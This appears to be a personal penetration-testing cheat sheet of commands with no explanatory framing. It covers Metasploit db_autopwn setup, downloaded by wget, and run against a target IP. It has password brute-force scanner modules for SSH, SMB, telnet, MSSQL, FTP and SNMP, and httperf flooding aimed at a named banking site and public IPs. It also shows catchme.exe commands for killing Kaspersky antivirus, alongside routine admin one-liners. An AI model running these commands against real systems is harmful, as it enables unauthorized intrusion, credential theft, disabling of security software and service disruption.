# ubuntu autopwn
apt-get install  ruby1.8-dev libpq-dev postgresql -y
gem install postgres


# download autopwn .
cd /pentest/exploits/framework/plugins/
wget http://rmccurdy.com/scripts/db_autopwn.rb
cd ..



sudo -u postgres psql
\password postgres
\q


sudo -u postgres createdb   msf

./msfconsole

db_driver
db_driver postgresql
db_connect postgres:postgres@127.0.0.1/msf
db_nmap 123.123.123.123 -v -v -v -v
load db_autopwn
db_autpown -p -t -e


# ssh logins
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.1-255
set USER_FILE "C:/wordlist/password_small.txt"
run



back

#smb
use auxiliary/scanner/smb/smb_login
set RHOSTS 127.0.0.1
set SMBUser Administrator
set PASS_FILE "C:/wordlist/password_small.txt"
set VERBOSE false
set THREADS 16
run



back

# telnet
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set THREADS 254
run



back


# mssql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set USERNAME sa
run


back



#ftp
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
run



#snmp
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
run




User Summary

Checks if a VNC server is vulnerable to the RealVNC authentication bypass (CVE-2006-2369).
Example Usage

nmap -sV -sC <target>

db_driver postgresql
db_connect postgres:"msf3:"32a771f6"@127.0.0.1:7175/msf3

http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=7558 Microsoft Baseline Security Analyzer 2.2 (for IT Professionals)

.a/gxfr.py kpmg.com  --dns-lookup -v -t 10


http stress test
.- HTTPS Support
- 1000 simultaneous connections (each one with a different user/password)
- Ability to record 2 or more application forms in order to test very specific application flows..

In order to answer your question, there.re some tools like:

Tool 1- httperf

More examples that I used before.

httperf --hog --server HOST --num-conn 1000 --ra 100 --timeout 5
httperf --hog --server 192.168.1.3 --num-conn 1000 --ra 100 --timeout 5
httperf --hog --server=192.168.1.3 --wsess=10,5,2 --rate 1 --timeout 5
httperf --hog --server=www --wsess=10,5,2 --rate=1 --timeout=5 --ssl
httperf  --hog  --server=bankinghome.es/apl/donativos/index_ca.html  --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5  --ssl-no-reuse --http-version=1.0
httperf  --hog  --server=17.148.71.129/index.html  --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5  --ssl-no-reuse --http-version=1.0
httperf  --hog  --server=http://17.148.71.129/index.html  --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5  --ssl-no-reuse --http-version=1.0

Tool 2- fakeconnect

fakeconnect -s SOURCE -d HOST -p PORT

Tool 3- Apache benchmarking tool (accept POST)

ab -n 100 -c 4 -p test.jpg http://localhost/
(http://httpd.apache.org/docs/2.0/programs/ab.html)

Tool 4- Curl-loader (it rocks, very customizable)

http://curl-loader.sourceforge.net/


And running hundreds and thousands of clients..., please, do not forget:

1- To increase limit of descriptors (sockets) by running e.g.

#ulimit -n 10000;

2- Optionally, to set reuse of sockets in time-wait state, etc.., by setting:

#echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle and/or
#echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse;
#echo 1 > /proc/sys/net/ipv4/tcp_moderate_rcvbuf
#echo 108544 > /proc/sys/net/core/wmem_max
#echo 108544 > /proc/sys/net/core/rmem_max
#echo "4096 87380 4194304" > /proc/sys/net/ipv4/tcp_rmem
#echo "4096 16384 4194304" > /proc/sys/net/ipv4/tcp_wmem

Additional info:

http://ltp.sourceforge.net/tooltable.php

Hope that help you.



==========


random file raname rename random file
IFS=$'\n';for fname in `ls`; do mv "$fname" $RANDOM$RANDOM ;done


grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' ips | sort | uniq


catchme.exe  -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe  -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe  -O "c:\Program Files\Kaspersky\avp.exe"
reboot
still looking into it .. can't kill it from memory yet I can delete the file



# file size search
FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi

# screen cron
@reboot /usr/bin/screen -fa -d -m -S torrent /usr/bin/rtorrent


# netstat with pid
for /f "tokens=1,2,3,7 delims=: " %a in ('netstat -nao ^| find ^"LISTENING^" ^| find /v ^"::^"') do @(for /f "tokens=1,*" %n in ('"wmic process where processId=%d get caption,executablepath | find ".""') do @echo Protocol=%a, IP=%b, Port=%c, PID=%d, Name=%n, Path=%o)


# CSV file size,file
for /r c:\ %i in (*) do @echo %~zi, %i

# md5 check but in linux style
md5 * | awk '{print $4,$2}' | sed 's/ (/ \*/g' | sed 's/)//g'



#################
# see ./fu_ripp.txt for ripped fu the size was getting out of hand ..
#################